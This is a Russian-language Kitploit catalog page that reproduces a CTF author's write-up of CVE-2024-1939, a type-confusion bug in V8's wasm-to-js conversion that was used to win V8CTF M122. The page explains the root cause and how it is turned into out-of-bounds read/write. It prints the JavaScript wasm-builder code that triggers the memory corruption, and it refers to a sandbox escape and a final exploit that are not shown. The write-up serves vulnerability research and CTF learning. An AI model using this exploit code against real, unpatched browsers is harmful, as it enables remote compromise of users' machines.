Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-1939 — Для V8CTF M122 | Kitploit
Инструменты/GitHubGitHub/rycbar77/cve-2024-1939
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubrycbar77/cve-2024-1939

CVE-2024-1939

Для V8CTF M122

Репозиторий
1431 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-1939

Это краткий разбор CVE-2024-1939, с помощью которого я взял V8CTF M122.

Корневая причина этой проблемы — отсутствие поддержки kWasmS128 в преобразовании wasm-to-js. В частности, операции wasmS128Const, встречающиеся в стеке параметров, игнорируются, что приводит к путанице типов (type confusion), когда среди параметров присутствует ExprRef.

Если подробнее, это приводит к прямому преобразованию int/float в объект. Поэтому легко сконструировать фейковый массив с произвольной длиной, что даёт нам возможность внеграничного чтения и записи (OOB read/write). Остаётся ещё одно препятствие, которое нужно обойти: wasmS128Const заменяет только параметры типа float, хранящиеся в FPSlot, и не влияет на тегированные параметры, хранящиеся в GPSlot. Способ обойти это существует через StackSlot. Регистры FP/GP имеют ограничения по размеру. После этого параметры сохраняются в StackSlot по порядку. Если мы заполним регистры и поместим число с плавающей точкой в StackSlot, тегированный параметр будет извлечён из StackSlot и даст нам наш фейковый объект.

Финальный эксплойт не включает код сборки (builder) этого wasm-модуля ради простоты и скорости, поэтому я приложу его здесь.

root@kitploit:~
function get_corrupt(addr) {
    var buf = new ArrayBuffer(8);
    var u32 = new Uint32Array(buf);
    var f64 = new Float64Array(buf);
    var u8 = new Uint8Array(buf);
    u32[0] = addr;
    u32[1] = 0;
    const builder = new WasmModuleBuilder();
    const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
    const importId = builder.addImport('mod', 'foo', typeId);
    builder.addDeclarativeElementSegment([importId]);

    builder.addFunction('main', kSig_v_v)
        .addLocals(wasmRefType(kWasmI31Ref), 1)
        .addBody([
            ...wasmS128Const(0xdeadbeef, 0xdeadbeef),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(f64[0]),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            
            ...wasmI32Const(0xaaaaaaaa),
            kGCPrefix, kExprRefI31, kExprLocalTee, 0,
            kExprRefFunc, importId,
            kExprRefFunc, importId,
            kExprCallRef, typeId,
        ]).exportFunc();
    const instance = builder.instantiate({ mod: { foo: ff } });
    let f = instance.exports.main
    f();
}
get_corrupt(addr);

Для стабилизации памяти используется worker, поскольку было замечено, что адреса остаются относительно стабильными в worker-потоках.

Для обхода песочницы смотрите V8-Sandbox-Escape-via-Regexp. Финальный эксплойт использует обычные цепочки orw для записи флага через stderr.

Скачать инструмент